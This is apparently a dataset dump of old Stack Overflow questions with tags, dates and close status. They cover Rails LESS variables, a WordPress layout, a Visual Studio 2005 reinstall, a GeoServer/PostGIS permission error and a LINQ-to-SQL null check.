### What I have: In Rails 3.2.2, I have the following stylesheets: <pre> app/assets/stylesheets | |-- <b>application.css</b> |-- <b>bootstrap_and_overrides.css.less</b> | |-- annotations.css.less |-- maps.css.less.erb `-- users.css.less.erb </pre> The two first ones are more or less system-default. The other ones are where I define my custom styles. So, `application.css`, as usual, includes all the other files: *= require_self *= require_tree . And `bootstrap_and_overrides.css.less`, of course, includes Twitter Bootstrap as well as some other custom defined LESS variables. @import "twitter/bootstrap/bootstrap"; @import "twitter/bootstrap/responsive"; // other stuff @brown_text: #332820; ---------- ### What doesn't work: Now, in `annotations.css.less`, I'd like to use `@brown_text`, but it gives me: > <code>variable @brown_text is undefined</code> I figure this is because there's no reference from `annotations.css.less` to the "master" file where the variable would be defined. And it seems that `annotations.css.less` is compiled first – note that I'm currently in development environment. So, how can I use my custom LESS variables then, and make them available in other stylesheet files? My current "fix" is to just move all my custom styles into `bootstrap_and_overrides.css.less.erb`, which doesn't seem very clean at all.
ruby-on-rails-3
twitter-bootstrap
asset-pipeline
less
null
null
open
How do I make my LESS variables available for all CSS files in Rails? === ### What I have: In Rails 3.2.2, I have the following stylesheets: <pre> app/assets/stylesheets | |-- <b>application.css</b> |-- <b>bootstrap_and_overrides.css.less</b> | |-- annotations.css.less |-- maps.css.less.erb `-- users.css.less.erb </pre> The two first ones are more or less system-default. The other ones are where I define my custom styles. So, `application.css`, as usual, includes all the other files: *= require_self *= require_tree . And `bootstrap_and_overrides.css.less`, of course, includes Twitter Bootstrap as well as some other custom defined LESS variables. @import "twitter/bootstrap/bootstrap"; @import "twitter/bootstrap/responsive"; // other stuff @brown_text: #332820; ---------- ### What doesn't work: Now, in `annotations.css.less`, I'd like to use `@brown_text`, but it gives me: > <code>variable @brown_text is undefined</code> I figure this is because there's no reference from `annotations.css.less` to the "master" file where the variable would be defined. And it seems that `annotations.css.less` is compiled first – note that I'm currently in development environment. So, how can I use my custom LESS variables then, and make them available in other stylesheet files? My current "fix" is to just move all my custom styles into `bootstrap_and_overrides.css.less.erb`, which doesn't seem very clean at all.
0
9,021,234
01/26/2012 16:14:28
807,123
06/20/2011 17:44:52
12
0
Create a wordpress blog appear like this: www.allwomenstalk.com
I have no experience with Wordpress template designing so far, and this will be my first attempt on it. I'm assuming that it will be pretty much the same as other CMS's, but if there are any special instructions that you think are important, I will be more than grateful. As for the question, I want my posts to appear in the same manner as the website below: http://allwomenstalk.com/ The easiest way I thought was to float all the container DIV's to the left, but that will not cater for the varying heights of the container. Any tips or ideas? Thank you in advanced!
css
wordpress
blogs
null
null
01/27/2012 16:51:17
not constructive
Create a wordpress blog appear like this: www.allwomenstalk.com === I have no experience with Wordpress template designing so far, and this will be my first attempt on it. I'm assuming that it will be pretty much the same as other CMS's, but if there are any special instructions that you think are important, I will be more than grateful. As for the question, I want my posts to appear in the same manner as the website below: http://allwomenstalk.com/ The easiest way I thought was to float all the container DIV's to the left, but that will not cater for the varying heights of the container. Any tips or ideas? Thank you in advanced!
4
499,679
01/31/2009 22:14:11
57,330
01/21/2009 01:29:13
81
7
Concise steps to re-install VS8, configured for web application projects
The default install of Visual Studio 2005 does not include 'web application' support. When opening those projects, you receive an error: "The project type is not supported by this installation?" Googling for solutions brings you various pointers to install packages like SP1 and the MS "Update to Support Web Application Projects." But I find I am never able to get the install down to a sequence of steps that always works, I'm always fuztzing around with re-installs and in the end don't know how I exactly came to a working install. Does anyone have good instructions or pointers for how to do this?
visual-studio-2005
null
null
null
null
null
open
Concise steps to re-install VS8, configured for web application projects === The default install of Visual Studio 2005 does not include 'web application' support. When opening those projects, you receive an error: "The project type is not supported by this installation?" Googling for solutions brings you various pointers to install packages like SP1 and the MS "Update to Support Web Application Projects." But I find I am never able to get the install down to a sequence of steps that always works, I'm always fuztzing around with re-installs and in the end don't know how I exactly came to a working install. Does anyone have good instructions or pointers for how to do this?
0
8,276,061
11/26/2011 03:32:15
775,618
05/30/2011 01:33:57
19
1
using OSM data geoserver
I want to using OSM data into geoserver, i have donwload part of planet file,that is Indonesia.osm.bz2. Now i want to using file Indonesia.osm to geoserver.I have following instruction from [http://strangeoptics.blogspot.com/2011/10/using-osm-data-in-geoserver-part3.html][1] [1]: http://strangeoptics.blogspot.com/2011/10/using-osm-data-in-geoserver-part3.html I have to create workspace and store into geoserver.Then i create layer, when i publish it, i get error message like this 5 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.kmz' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.openlayers' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.text/html' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.atom' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.application/atom xml' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.application/xml' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.image/svg' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.image/svg xml' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 17:01:11 WARN [geotools.jdbc] - No primary key or unique index found for planet_osm_line. 25 Nov 17:01:11 ERROR [wicket.RequestCycle] - Error occurred while building the resources for the configuration page java.lang.RuntimeException: Error occurred while building the resources for the configuration page at org.geoserver.web.data.layer.NewLayerPage.buildLayerInfo(NewLayerPage.java:299) at org.geoserver.web.data.layer.NewLayerPage$6.onClick(NewLayerPage.java:245) at org.geoserver.web.wicket.SimpleAjaxLink$1.onClick(SimpleAjaxLink.java:44) at org.apache.wicket.ajax.markup.html.AjaxLink$1.onEvent(AjaxLink.java:68) at org.apache.wicket.ajax.AjaxEventBehavior.respond(AjaxEventBehavior.java:177) at org.apache.wicket.ajax.AbstractDefaultAjaxBehavior.onRequest(AbstractDefaultAjaxBehavior.java:300) at org.apache.wicket.request.target.component.listener.BehaviorRequestTarget.processEvents(BehaviorRequestTarget.java:119) at org.apache.wicket.request.AbstractRequestCycleProcessor.processEvents(AbstractRequestCycleProcessor.java:92) at org.apache.wicket.RequestCycle.processEventsAndRespond(RequestCycle.java:1250) at org.apache.wicket.RequestCycle.step(RequestCycle.java:1329) at org.apache.wicket.RequestCycle.steps(RequestCycle.java:1436) at org.apache.wicket.RequestCycle.request(RequestCycle.java:545) at org.apache.wicket.protocol.http.WicketFilter.doGet(WicketFilter.java:484) at org.apache.wicket.protocol.http.WicketServlet.doGet(WicketServlet.java:138) at javax.servlet.http.HttpServlet.service(HttpServlet.java:617) at javax.servlet.http.HttpServlet.service(HttpServlet.java:717) at org.springframework.web.servlet.mvc.ServletWrappingController.handleRequestInternal(ServletWrappingController.java:158) at org.springframework.web.servlet.mvc.AbstractController.handleRequest(AbstractController.java:153) at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:48) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:875) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:809) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:571) at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:501) at javax.servlet.http.HttpServlet.service(HttpServlet.java:617) at javax.servlet.http.HttpServlet.service(HttpServlet.java:717) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.ThreadLocalsCleanupFilter.doFilter(ThreadLocalsCleanupFilter.java:23) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.SpringDelegatingFilter$Chain.doFilter(SpringDelegatingFilter.java:74) at org.geoserver.filters.SpringDelegatingFilter.doFilter(SpringDelegatingFilter.java:45) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.platform.AdvancedDispatchFilter.doFilter(AdvancedDispatchFilter.java:49) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.vfny.geoserver.filters.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:109) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:394) at org.springframework.security.intercept.web.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:109) at org.springframework.security.intercept.web.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:83) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.ExceptionTranslationFilter.doFilterHttp(ExceptionTranslationFilter.java:101) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.providers.anonymous.AnonymousProcessingFilter.doFilterHttp(AnonymousProcessingFilter.java:105) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.rememberme.RememberMeProcessingFilter.doFilterHttp(RememberMeProcessingFilter.java:116) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.wrapper.SecurityContextHolderAwareRequestFilter.doFilterHttp(SecurityContextHolderAwareRequestFilter.java:91) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.AbstractProcessingFilter.doFilterHttp(AbstractProcessingFilter.java:278) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.logout.LogoutFilter.doFilterHttp(LogoutFilter.java:89) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.context.HttpSessionContextIntegrationFilter.doFilterHttp(HttpSessionContextIntegrationFilter.java:235) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.util.FilterChainProxy.doFilter(FilterChainProxy.java:185) at org.springframework.security.util.FilterToBeanProxy.doFilter(FilterToBeanProxy.java:99) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.LoggingFilter.doFilter(LoggingFilter.java:71) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.ReverseProxyFilter.doFilter(ReverseProxyFilter.java:183) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.GZIPFilter.doFilter(GZIPFilter.java:41) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.SessionDebugFilter.doFilter(SessionDebugFilter.java:46) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:291) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:859) at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:602) at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489) at java.lang.Thread.run(Thread.java:662) Caused by: java.io.IOException: Error occurred building feature type at org.geotools.jdbc.JDBCFeatureSource.buildFeatureType(JDBCFeatureSource.java:342) at org.geotools.jdbc.JDBCDataStore.createFeatureSource(JDBCDataStore.java:768) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:385) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:350) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:644) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:103) at org.geoserver.catalog.CatalogBuilder.buildFeatureType(CatalogBuilder.java:323) at org.geoserver.web.data.layer.NewLayerPage.buildLayerInfo(NewLayerPage.java:292) ... 90 more Caused by: org.postgresql.util.PSQLException: ERROR: permission denied for relation geometry_columns at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2062) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1795) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:257) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:479) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:353) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:252) at org.apache.commons.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at org.apache.commons.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at org.geotools.data.postgis.PostGISDialect.lookupGeometryType(PostGISDialect.java:326) at org.geotools.data.postgis.PostGISDialect.getMapping(PostGISDialect.java:284) at org.geotools.jdbc.JDBCFeatureSource.getColumnMetadata(JDBCFeatureSource.java:651) at org.geotools.jdbc.JDBCFeatureSource.buildFeatureType(JDBCFeatureSource.java:198) ... 97 more What's wrh
geoserver
osm
mapnik
osgeo
null
null
open
using OSM data geoserver === I want to using OSM data into geoserver, i have donwload part of planet file,that is Indonesia.osm.bz2. Now i want to using file Indonesia.osm to geoserver.I have following instruction from [http://strangeoptics.blogspot.com/2011/10/using-osm-data-in-geoserver-part3.html][1] [1]: http://strangeoptics.blogspot.com/2011/10/using-osm-data-in-geoserver-part3.html I have to create workspace and store into geoserver.Then i create layer, when i publish it, i get error message like this 5 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.kmz' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.openlayers' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.text/html' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.atom' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.application/atom xml' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.application/xml' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.image/svg' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 16:43:28 WARN [geoserver.web] - Unable to find property: 'format.wms.image/svg xml' for component: [class=org.geoserver.web.demo.MapPreviewPage] 25 Nov 17:01:11 WARN [geotools.jdbc] - No primary key or unique index found for planet_osm_line. 25 Nov 17:01:11 ERROR [wicket.RequestCycle] - Error occurred while building the resources for the configuration page java.lang.RuntimeException: Error occurred while building the resources for the configuration page at org.geoserver.web.data.layer.NewLayerPage.buildLayerInfo(NewLayerPage.java:299) at org.geoserver.web.data.layer.NewLayerPage$6.onClick(NewLayerPage.java:245) at org.geoserver.web.wicket.SimpleAjaxLink$1.onClick(SimpleAjaxLink.java:44) at org.apache.wicket.ajax.markup.html.AjaxLink$1.onEvent(AjaxLink.java:68) at org.apache.wicket.ajax.AjaxEventBehavior.respond(AjaxEventBehavior.java:177) at org.apache.wicket.ajax.AbstractDefaultAjaxBehavior.onRequest(AbstractDefaultAjaxBehavior.java:300) at org.apache.wicket.request.target.component.listener.BehaviorRequestTarget.processEvents(BehaviorRequestTarget.java:119) at org.apache.wicket.request.AbstractRequestCycleProcessor.processEvents(AbstractRequestCycleProcessor.java:92) at org.apache.wicket.RequestCycle.processEventsAndRespond(RequestCycle.java:1250) at org.apache.wicket.RequestCycle.step(RequestCycle.java:1329) at org.apache.wicket.RequestCycle.steps(RequestCycle.java:1436) at org.apache.wicket.RequestCycle.request(RequestCycle.java:545) at org.apache.wicket.protocol.http.WicketFilter.doGet(WicketFilter.java:484) at org.apache.wicket.protocol.http.WicketServlet.doGet(WicketServlet.java:138) at javax.servlet.http.HttpServlet.service(HttpServlet.java:617) at javax.servlet.http.HttpServlet.service(HttpServlet.java:717) at org.springframework.web.servlet.mvc.ServletWrappingController.handleRequestInternal(ServletWrappingController.java:158) at org.springframework.web.servlet.mvc.AbstractController.handleRequest(AbstractController.java:153) at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:48) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:875) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:809) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:571) at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:501) at javax.servlet.http.HttpServlet.service(HttpServlet.java:617) at javax.servlet.http.HttpServlet.service(HttpServlet.java:717) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.ThreadLocalsCleanupFilter.doFilter(ThreadLocalsCleanupFilter.java:23) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.SpringDelegatingFilter$Chain.doFilter(SpringDelegatingFilter.java:74) at org.geoserver.filters.SpringDelegatingFilter.doFilter(SpringDelegatingFilter.java:45) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.platform.AdvancedDispatchFilter.doFilter(AdvancedDispatchFilter.java:49) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.vfny.geoserver.filters.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:109) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:394) at org.springframework.security.intercept.web.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:109) at org.springframework.security.intercept.web.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:83) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.ExceptionTranslationFilter.doFilterHttp(ExceptionTranslationFilter.java:101) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.providers.anonymous.AnonymousProcessingFilter.doFilterHttp(AnonymousProcessingFilter.java:105) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.rememberme.RememberMeProcessingFilter.doFilterHttp(RememberMeProcessingFilter.java:116) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.wrapper.SecurityContextHolderAwareRequestFilter.doFilterHttp(SecurityContextHolderAwareRequestFilter.java:91) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.AbstractProcessingFilter.doFilterHttp(AbstractProcessingFilter.java:278) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.ui.logout.LogoutFilter.doFilterHttp(LogoutFilter.java:89) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.context.HttpSessionContextIntegrationFilter.doFilterHttp(HttpSessionContextIntegrationFilter.java:235) at org.springframework.security.ui.SpringSecurityFilter.doFilter(SpringSecurityFilter.java:53) at org.springframework.security.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:406) at org.springframework.security.util.FilterChainProxy.doFilter(FilterChainProxy.java:185) at org.springframework.security.util.FilterToBeanProxy.doFilter(FilterToBeanProxy.java:99) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.LoggingFilter.doFilter(LoggingFilter.java:71) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.ReverseProxyFilter.doFilter(ReverseProxyFilter.java:183) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.GZIPFilter.doFilter(GZIPFilter.java:41) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.geoserver.filters.SessionDebugFilter.doFilter(SessionDebugFilter.java:46) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:291) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:859) at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:602) at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489) at java.lang.Thread.run(Thread.java:662) Caused by: java.io.IOException: Error occurred building feature type at org.geotools.jdbc.JDBCFeatureSource.buildFeatureType(JDBCFeatureSource.java:342) at org.geotools.jdbc.JDBCDataStore.createFeatureSource(JDBCDataStore.java:768) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:385) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:350) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:644) at org.geotools.data.store.ContentDataStore.getFeatureSource(ContentDataStore.java:103) at org.geoserver.catalog.CatalogBuilder.buildFeatureType(CatalogBuilder.java:323) at org.geoserver.web.data.layer.NewLayerPage.buildLayerInfo(NewLayerPage.java:292) ... 90 more Caused by: org.postgresql.util.PSQLException: ERROR: permission denied for relation geometry_columns at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2062) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1795) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:257) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:479) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:353) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:252) at org.apache.commons.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at org.apache.commons.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at org.geotools.data.postgis.PostGISDialect.lookupGeometryType(PostGISDialect.java:326) at org.geotools.data.postgis.PostGISDialect.getMapping(PostGISDialect.java:284) at org.geotools.jdbc.JDBCFeatureSource.getColumnMetadata(JDBCFeatureSource.java:651) at org.geotools.jdbc.JDBCFeatureSource.buildFeatureType(JDBCFeatureSource.java:198) ... 97 more What's wrh
0
1,365,319
09/02/2009 00:28:18
146,077
07/28/2009 00:21:46
264
30
LINQ-to-SQL Enumerable expression with Binary = null fails
This is a strange LINQ-to-SQL problem which can't evaluate as an Enumerable (in SQL) but I can evaluate client side. I think it's related to my testing Binary property as 'null'. I need to determine when my Job is complete, which means that all Files in that Job have at least some data in their binary FileContents property. The procedure is to find all Files for a given JobId, and if any of those Files have FileContents = null then the Job is not yet complete. If all of the Files have some FileContents then the Job is complete. The first attempt: bool isJobComplete = !context.Files.Any (f => f.JobId == this.JobId && f.FileContents == null); does not work! I receive a SQL Timeout exception. I also tried other variations on the same thing and receive the same result, e.g. var filesInJob = context.Files.Where(f => f.JobId == this.JobId); bool isJobComplete = !filesInJob.Any(jf => jf.FileContents == null); The resolution is to retrieve a List of all the Files, and then check the FileContents client-side. This is far from ideal, as sometimes I will have many large files in a Job. List<File> filesInJob = context.Files.Where(f => f.JobId == this.JobId).ToList(); bool isJobComplete = !filesInJob.Any(jf => jf.FileContents == null); The SQL generated on the non-working expression: SELECT <CASE WHEN EXISTS< SELECT NULL AS [EMPTY] FROM [dbo].[File] as [t0] WHERE <[t0].[JobId] = @p)> AND <[t0].[FileContents] IS NULL> > THEN 1 ELSE 0 END> AS [value1] Does anyone have any experience of this, or an explanation of why LINQ can't talk null to SQL?
linq-to-sql
c#
sql
null
null
11/20/2011 15:32:39
too localized
LINQ-to-SQL Enumerable expression with Binary = null fails === This is a strange LINQ-to-SQL problem which can't evaluate as an Enumerable (in SQL) but I can evaluate client side. I think it's related to my testing Binary property as 'null'. I need to determine when my Job is complete, which means that all Files in that Job have at least some data in their binary FileContents property. The procedure is to find all Files for a given JobId, and if any of those Files have FileContents = null then the Job is not yet complete. If all of the Files have some FileContents then the Job is complete. The first attempt: bool isJobComplete = !context.Files.Any (f => f.JobId == this.JobId && f.FileContents == null); does not work! I receive a SQL Timeout exception. I also tried other variations on the same thing and receive the same result, e.g. var filesInJob = context.Files.Where(f => f.JobId == this.JobId); bool isJobComplete = !filesInJob.Any(jf => jf.FileContents == null); The resolution is to retrieve a List of all the Files, and then check the FileContents client-side. This is far from ideal, as sometimes I will have many large files in a Job. List<File> filesInJob = context.Files.Where(f => f.JobId == this.JobId).ToList(); bool isJobComplete = !filesInJob.Any(jf => jf.FileContents == null); The SQL generated on the non-working expression: SELECT <CASE WHEN EXISTS< SELECT NULL AS [EMPTY] FROM [dbo].[File] as [t0] WHERE <[t0].[JobId] = @p)> AND <[t0].[FileContents] IS NULL> > THEN 1 ELSE 0 END> AS [value1] Does anyone have any experience of this, or an explanation of why LINQ can't talk null to SQL?
3
11,528,856
07/17/2012 18:43:54
953,227
09/19/2011 17:38:14
39
0
guide line web services whats next?
